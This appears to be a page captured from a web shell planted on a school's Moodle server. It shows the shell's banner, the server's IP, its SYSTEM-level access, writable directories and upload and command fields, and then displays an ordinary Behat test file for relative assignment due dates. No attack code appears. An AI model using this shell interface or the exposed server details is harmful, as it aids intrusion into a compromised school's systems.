403Webshell
Server IP : 104.21.80.248  /  Your IP : 172.71.28.156
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/myschool/triamudom/tuprblearn/mod/assign/tests/behat/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www/myschool/triamudom/tuprblearn/mod/assign/tests/behat/relative_dates.feature
@mod @mod_assign
Feature: Relative assignment due dates
In order for students to be able to enter the course at any time and have a fixed period in which to submit the assignment
As a teacher in course with relative dates mode enabled
I should be able to create an assignment with a due date relative to the course start date

  Scenario: As a student the due date for submitting my assignment is relative to my course start date
    Given the following config values are set as admin:
      | enablecourserelativedates | 1 |
    And the following "courses" exist:
      | fullname | shortname | category | groupmode | relativedatesmode | startdate |
      | Course 1 | C1 | 0 | 1 | 1 | ##first day of -4 months##                     |
    And the following "users" exist:
      | username | firstname | lastname | email |
      | teacher1 | Teacher | 1 | [email protected] |
      | student1 | Student | 1 | [email protected] |
      | student2 | Student | 2 | [email protected] |
    And the following "course enrolments" exist:
     # Two students, one started 4 months ago and one yesterday.
      | user | course | role | timestart |
      | teacher1 | C1 | editingteacher | ##first day of last month## |
      | student1 | C1 | student | ##first day of -4 months## |
      | student2 | C1 | student | ##yesterday## |
     # One assignment, valid for 2 months.
    And the following "activities" exist:
      | activity   | name                   | intro                         | course | idnumber    | assignsubmission_onlinetext_enabled | timeopen | duedate |
      | assign     | Test assignment name   | Test assignment description   | C1     | assign0     | 1                                   |##first day of -4 months## | ##last day of -3 months## |
    When I log in as "student1"
    And I am on "Course 1" course homepage
    And I follow "Test assignment name"
    Then I should see "Assignment is overdue by:" in the "Time remaining" "table_row"
    And I log out
    And I log in as "student2"
    And I am on "Course 1" course homepage
    And I follow "Test assignment name"
    And I should not see "Assignment is overdue by:" in the "Time remaining" "table_row"
    And I log out

  Scenario: As a teacher, I should see the relative dates when reviewing assignment submissions
    Given the following config values are set as admin:
      | enablecourserelativedates | 1 |
    And the following "courses" exist:
      | fullname | shortname | category | groupmode | relativedatesmode | startdate |
      | Course 1 | C1 | 0 | 1 | 1 | ##first day of 4 months ago## |
    And the following "users" exist:
      | username | firstname | lastname | email |
      | teacher1 | Teacher | 1 | [email protected] |
      | student1 | Student | 1 | [email protected] |
      | student2 | Student | 2 | [email protected] |
    And the following "course enrolments" exist:
     # Two students, one started 4 months ago and one yesterday.
      | user | course | role | timestart |
      | teacher1 | C1 | editingteacher | ##first day of 4 months ago## |
      | student1 | C1 | student | ##first day of 4 months ago## |
      | student2 | C1 | student | ##yesterday## |
     # One assignment, valid for 2 months.
    And the following "activities" exist:
      | activity   | name                   | intro                         | course | idnumber    | assignsubmission_onlinetext_enabled | timeopen | duedate |
      | assign     | Test assignment name   | Test assignment description   | C1     | assign0     | 1                                   |##first day of 4 months ago## | ##last day of 3 months ago## |
    And I log in as "teacher1"
    And I am on "Course 1" course homepage
    And I follow "Test assignment name"
    And I should see "after course start" in the "Due date" "table_row"
    And I should see "Calculated for each student" in the "Time remaining" "table_row"
    When I navigate to "View all submissions" in current page administration
    Then I should see "No submission" in the "Student 1" "table_row"
    And I should see "Assignment is overdue by:" in the "Student 1" "table_row"
    And I should see "No submission" in the "Student 2" "table_row"
    And I should not see "Assignment is overdue by:" in the "Student 2" "table_row"
    And I log out

Youez - 2016 - github.com/yon3zu
LinuXploit